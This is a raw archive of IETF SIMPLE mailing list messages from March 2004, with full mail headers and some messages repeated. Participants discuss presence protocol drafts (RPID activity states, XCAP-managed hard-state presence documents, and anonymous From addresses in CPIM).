	for simple@ietf.org; Wed, 03 Mar 2004 07:27:40 -0500
Received: from cs.columbia.edu (UBAHN.wireless.ietf59.or.kr [218.37.228.104])
	(user=hgs10 mech=PLAIN bits=0)
	by jalapeno.cc.columbia.edu (8.12.11/8.12.11) with ESMTP id i23CRTEK002970
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Wed, 3 Mar 2004 07:27:32 -0500 (EST)
Message-ID: <4045CF37.6010909@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031030
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Paul Kyzivat <pkyzivat@cisco.com>, Simple WG <simple@ietf.org>
Subject: Re: [Simple] comments on draft-ietf-simple-rpid (long)
References: <4041F046.7050207@dynamicsoft.com> <4042B316.4050104@cisco.com> <4042CF62.7030907@cs.columbia.edu> <40435132.4070505@dynamicsoft.com>
In-Reply-To: <40435132.4070505@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-No-Spam-Score: Local
X-Scanned-By: MIMEDefang 2.35
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 07:27:35 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Jonathan Rosenberg wrote:

>> This interpretation implies that OPEN implies nothing about the 
>> usefulness of communication that is possible.
> 
> 
> Well, this directly contradicts the text that is currently in the 
> beginning of rpid:

Since permanent-absence and OPEN is indeed a stretch, I'll just declare 
this for CLOSED only.



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 07:32:57 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA22064
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 07:32:51 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyVXy-00063M-7e
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 07:32:22 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i23CWMgL023268
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 07:32:22 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyVXy-00063D-12
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 07:32:22 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA21983
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 07:31:36 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVXE-0006mm-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 07:31:36 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyVWL-0006ce-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 07:30:41 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVVp-0006Sg-00; Wed, 03 Mar 2004 07:30:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyVVk-0005NG-Vo; Wed, 03 Mar 2004 07:30:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyVVS-0005MB-9h
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 07:29:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA21846
	for <simple@ietf.org>; Wed, 3 Mar 2004 07:29:25 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVV7-0006Ph-00
	for simple@ietf.org; Wed, 03 Mar 2004 07:29:25 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyVUC-0006Fb-00
	for simple@ietf.org; Wed, 03 Mar 2004 07:28:29 -0500
Received: from jalapeno.cc.columbia.edu ([128.59.59.238] ident=cu41754)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVTQ-00066o-00
	for simple@ietf.org; Wed, 03 Mar 2004 07:27:40 -0500
Received: from cs.columbia.edu (UBAHN.wireless.ietf59.or.kr [218.37.228.104])
	(user=hgs10 mech=PLAIN bits=0)
	by jalapeno.cc.columbia.edu (8.12.11/8.12.11) with ESMTP id i23CRTEK002970
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Wed, 3 Mar 2004 07:27:32 -0500 (EST)
Message-ID: <4045CF37.6010909@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031030
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Paul Kyzivat <pkyzivat@cisco.com>, Simple WG <simple@ietf.org>
Subject: Re: [Simple] comments on draft-ietf-simple-rpid (long)
References: <4041F046.7050207@dynamicsoft.com> <4042B316.4050104@cisco.com> <4042CF62.7030907@cs.columbia.edu> <40435132.4070505@dynamicsoft.com>
In-Reply-To: <40435132.4070505@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-No-Spam-Score: Local
X-Scanned-By: MIMEDefang 2.35
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 07:27:35 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Jonathan Rosenberg wrote:

>> This interpretation implies that OPEN implies nothing about the 
>> usefulness of communication that is possible.
> 
> 
> Well, this directly contradicts the text that is currently in the 
> beginning of rpid:

Since permanent-absence and OPEN is indeed a stretch, I'll just declare 
this for CLOSED only.



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 07:36:08 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA22468
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 07:36:08 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVbc-0007mq-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 07:36:08 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyVad-0007Y9-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 07:35:08 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVZc-0007IK-00; Wed, 03 Mar 2004 07:34:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyVZa-0006gJ-Gx; Wed, 03 Mar 2004 07:34:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyVZL-0006er-AS
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 07:33:52 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA22114
	for <simple@ietf.org>; Wed, 3 Mar 2004 07:33:26 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVZ0-0007Ch-00
	for simple@ietf.org; Wed, 03 Mar 2004 07:33:26 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyVY0-0006y3-00
	for simple@ietf.org; Wed, 03 Mar 2004 07:32:25 -0500
Received: from mgw-x3.nokia.com ([131.228.20.26])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVX1-0006kk-00
	for simple@ietf.org; Wed, 03 Mar 2004 07:31:23 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i23CVKS24010;
	Wed, 3 Mar 2004 14:31:21 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 14:31:19 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i23CVJt3018409;
	Wed, 3 Mar 2004 14:31:19 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00iD7XUU; Wed, 03 Mar 2004 14:31:16 EET
Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i23C4S702641;
	Wed, 3 Mar 2004 14:04:28 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 14:04:26 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A707E7A376@esebe018.ntc.nokia.com>
Thread-Topic: Comments on PIDF-Manipulation Usage-00draft  (was RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)
Thread-Index: AcQA91ox7Q8c1XopRKeA8Fao6VCwEQAHiAqg
To: <george.foti@ericsson.com>, <simple@ietf.org>
X-OriginalArrivalTime: 03 Mar 2004 12:04:26.0442 (UTC) FILETIME=[AC9332A0:01C40117]
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (was RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 14:04:26 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

Hi George,

I think you may still missing the point that there is not only one but =
several presence documents that can be published by a presentity, and =
only at the event state compositor do they get combined into a single =
document. For instance each PUA publishing with SIP PUBLISH will have =
its own separate PIDF-doc. The draft does not propose those documents to =
be manipulated by XCAP, so there is clear separation between "soft state =
PUA-specific" presence and "hard-state device-independent" presence. =
What the draft proposes is that there woud be a single device =
independent "hard-state" presence document in addition to the =
PUA-specific ones. The motivation is given in Chapter 1 and the model is =
illustrated in Figure 1.=20

So in short: The "hard-state" and "soft-state" tuples are kept in =
separate documents, and the scenario you describe below won't exist.

What exactly would go into the hard-state presence document is not =
defined in the draft, and  is left for an implementor or user to decide. =
Typically there could be things like web-page address, e-mail specific =
tuple, or even some tuples with the future-status, i.e. something that =
is not tied to a single device and/or does not change very often. Also =
this document would form the basis for the outgoing presence information =
in the absense of any publishing PUAs.

Markus  =20


-----Original Message-----
From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
Sent: 03 March, 2004 10:10
To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
Subject: RE: Comments on PIDF-Manipulation Usage-00draft (was RE: =
Comments on draft-isomaki-simple-xcap-publish-usage-00)


Hi Markus,

Lets leave the mandatory-ns element aside for the time being.
You stated that one should use XCAP to control *hard state* tuples only
What if a user changes other  soft tuples with XCAP.

Will the server allow that?

Where in your draft you explain/discuss how to handle those cases?

And what are the tuples in PIDF and other extensions that you consider =
*hard state* tuples.

Rgds/gf
 =20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 07:37:24 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA22579
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 07:37:19 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyVcH-00075K-OG
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 07:36:50 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i23CanFJ027228
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 07:36:49 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyVcH-000755-Ki
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 07:36:49 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA22471
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 07:36:08 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVbc-0007mv-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 07:36:08 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyVae-0007YG-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 07:35:09 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVZc-0007IK-00; Wed, 03 Mar 2004 07:34:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyVZa-0006gJ-Gx; Wed, 03 Mar 2004 07:34:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyVZL-0006er-AS
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 07:33:52 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA22114
	for <simple@ietf.org>; Wed, 3 Mar 2004 07:33:26 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVZ0-0007Ch-00
	for simple@ietf.org; Wed, 03 Mar 2004 07:33:26 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyVY0-0006y3-00
	for simple@ietf.org; Wed, 03 Mar 2004 07:32:25 -0500
Received: from mgw-x3.nokia.com ([131.228.20.26])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVX1-0006kk-00
	for simple@ietf.org; Wed, 03 Mar 2004 07:31:23 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i23CVKS24010;
	Wed, 3 Mar 2004 14:31:21 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 14:31:19 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i23CVJt3018409;
	Wed, 3 Mar 2004 14:31:19 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00iD7XUU; Wed, 03 Mar 2004 14:31:16 EET
Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i23C4S702641;
	Wed, 3 Mar 2004 14:04:28 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 14:04:26 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A707E7A376@esebe018.ntc.nokia.com>
Thread-Topic: Comments on PIDF-Manipulation Usage-00draft  (was RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)
Thread-Index: AcQA91ox7Q8c1XopRKeA8Fao6VCwEQAHiAqg
To: <george.foti@ericsson.com>, <simple@ietf.org>
X-OriginalArrivalTime: 03 Mar 2004 12:04:26.0442 (UTC) FILETIME=[AC9332A0:01C40117]
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (was RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 14:04:26 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Hi George,

I think you may still missing the point that there is not only one but =
several presence documents that can be published by a presentity, and =
only at the event state compositor do they get combined into a single =
document. For instance each PUA publishing with SIP PUBLISH will have =
its own separate PIDF-doc. The draft does not propose those documents to =
be manipulated by XCAP, so there is clear separation between "soft state =
PUA-specific" presence and "hard-state device-independent" presence. =
What the draft proposes is that there woud be a single device =
independent "hard-state" presence document in addition to the =
PUA-specific ones. The motivation is given in Chapter 1 and the model is =
illustrated in Figure 1.=20

So in short: The "hard-state" and "soft-state" tuples are kept in =
separate documents, and the scenario you describe below won't exist.

What exactly would go into the hard-state presence document is not =
defined in the draft, and  is left for an implementor or user to decide. =
Typically there could be things like web-page address, e-mail specific =
tuple, or even some tuples with the future-status, i.e. something that =
is not tied to a single device and/or does not change very often. Also =
this document would form the basis for the outgoing presence information =
in the absense of any publishing PUAs.

Markus  =20


-----Original Message-----
From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
Sent: 03 March, 2004 10:10
To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
Subject: RE: Comments on PIDF-Manipulation Usage-00draft (was RE: =
Comments on draft-isomaki-simple-xcap-publish-usage-00)


Hi Markus,

Lets leave the mandatory-ns element aside for the time being.
You stated that one should use XCAP to control *hard state* tuples only
What if a user changes other  soft tuples with XCAP.

Will the server allow that?

Where in your draft you explain/discuss how to handle those cases?

And what are the tuples in PIDF and other extensions that you consider =
*hard state* tuples.

Rgds/gf
 =20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 07:50:35 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA23321
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 07:50:35 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVpb-0002Ul-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 07:50:35 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyVoi-0002Kb-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 07:49:41 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVoB-0002Ao-00; Wed, 03 Mar 2004 07:49:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyVo5-0000BJ-Na; Wed, 03 Mar 2004 07:49:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyVnq-0000Ai-HO
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 07:48:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA23270
	for <simple@ietf.org>; Wed, 3 Mar 2004 07:48:25 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVnV-00027P-00
	for simple@ietf.org; Wed, 03 Mar 2004 07:48:25 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyVma-0001zI-00
	for simple@ietf.org; Wed, 03 Mar 2004 07:47:28 -0500
Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVm6-0001q8-00
	for simple@ietf.org; Wed, 03 Mar 2004 07:46:58 -0500
Received: from sj-core-2.cisco.com (171.71.177.254)
  by sj-iport-3.cisco.com with ESMTP; 03 Mar 2004 04:58:48 +0000
Received: from mira-sjc5-e.cisco.com (IDENT:mirapoint@mira-sjc5-e.cisco.com [171.71.163.15])
	by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id i23CkOY6020235;
	Wed, 3 Mar 2004 04:46:25 -0800 (PST)
Received: from [218.37.230.63] (tokyo-vpn-user33.cisco.com [10.70.82.33])
	by mira-sjc5-e.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AMW22405;
	Wed, 3 Mar 2004 04:46:23 -0800 (PST)
User-Agent: Microsoft-Entourage/10.1.4.030702.0
Subject: Re: [Simple] Chat sessions
From: Cullen Jennings <fluffy@cisco.com>
To: Adam Roach <adam@dynamicsoft.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Paul H Kyzivat <pkyzivat@cisco.com>
CC: <hisham.khartabil@nokia.com>, <Miguel.An.Garcia@nokia.com>,
        <simple@ietf.org>, <aki.niemi@nokia.com>
Message-ID: <BC6C02AE.33F7B%fluffy@cisco.com>
In-Reply-To: <9ACE0CEE075B494096C86C23878BF85906A33E@dyn-tx-exch-001.dynamicsoft.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 21:46:22 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

On 2/28/04 12:28 PM, "Adam Roach" <adam@dynamicsoft.com> wrote:

> Additionally, I feel *strongly* that specifying the use of
> intentionally invalid URIs in the "From:" headers in CPIM
> is a violation of the spirit of CPIM.
> 
> "The URI indicates an address for the originator."

I don't see a problem with putting alias or Anonymous in CPIM from and I see
a real problem if you try to do anything else. It just says an address. It
does not say that the owner of your class 5 switch has asserted it is valid.
How do you express that you would like this kept private and who would do
it?

Cullen


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 07:51:57 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA23350
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 07:51:52 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyVqN-0000ZH-4K
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 07:51:23 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i23CpNee002177
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 07:51:23 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyVqM-0000Z2-Ro
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 07:51:22 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA23324
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 07:50:36 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVpd-0002Uy-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 07:50:37 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyVoj-0002Kn-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 07:49:42 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVoB-0002Ao-00; Wed, 03 Mar 2004 07:49:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyVo5-0000BJ-Na; Wed, 03 Mar 2004 07:49:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyVnq-0000Ai-HO
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 07:48:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA23270
	for <simple@ietf.org>; Wed, 3 Mar 2004 07:48:25 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyVnV-00027P-00
	for simple@ietf.org; Wed, 03 Mar 2004 07:48:25 -0500
